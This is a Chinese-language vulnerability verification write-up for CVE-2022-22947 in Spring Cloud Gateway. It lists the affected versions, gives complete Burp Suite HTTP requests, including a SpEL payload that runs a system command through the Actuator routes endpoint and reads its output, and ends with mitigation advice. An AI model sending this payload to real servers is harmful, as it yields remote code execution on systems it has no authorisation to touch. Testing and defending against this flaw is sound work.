Spring Cloud Gateway 远程代码执行漏洞

【漏洞简介】

一、漏洞名称

Spring Cloud Gateway 远程代码执行漏洞

二、漏洞详情

Spring Cloud Gateway 提供了一个库，用于在 Spring WebFlux 之上构建 API 网关。在 3.1.0 和 3.0.6 之前的版本中使用 Spring Cloud Gateway 的应用程序在启用、暴露和不安全的 Gateway Actuator 端点时容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求，允许在远程主机上进行任意远程执行。

影响版本：Spring Cloud Gateway 3.1.x < 3.1.1 Spring Cloud Gateway < 3.0.7

三、漏洞编号

CVE-2022-22947

【验证工具】

Burpsuite

【验证详情】

一、验证条件

访问网站

二、验证过程

1、登录网站进行访问。

2、刷新，使用burp抓包，将内容发送到Repeater模块。

3、添加包含恶意SpEL表达式的路由，将payload粘贴到burpsuite替换掉原数据。（GET方式改为POST，恶意路由为hacktest，Content-Type为application/json）

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
    "id": "EchoSec",  
    "filters": [{    
        "name": "AddResponseHeader", 
        "args": { 
            "name": "Result", 
            "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"cat","/flag"}).getInputStream()))}" 
        }
    }], 
    "uri": "http://example.com"
}

4、刷新网关，执行SpEL表达式，将payload粘贴到burpsuite替换掉原数据。（注意Content-Type改为application/x-www-form-urlencoded）

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

5、发送以下内容，得到命令执行结果，将payload粘贴到burpsuite替换掉原数据。（注意Content-Type为application/x-www-form-urlencoded）

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

6、发送DELETE请求，删除恶意路由，将payload粘贴到burpsuite替换掉原数据。

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

再次发送同样的DELETE请求，发现为404，说明上一步已成功删除恶意路由。

【EXP/POC】

{
    "id": "EchoSec",  
    "filters": [{    
        "name": "AddResponseHeader", 
        "args": { 
            "name": "Result", 
            "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"cat","/flag"}).getInputStream()))}" 
        }
    }], 
    "uri": "http://example.com"
}

【防御方式】

对于低于3.0.7和3.1.1的版本尽快升级至安全版本修改spring配置，将management.endpoint.gateway.enabled设置为false，禁止外界访问Spring Cloud Gateway actuator端点。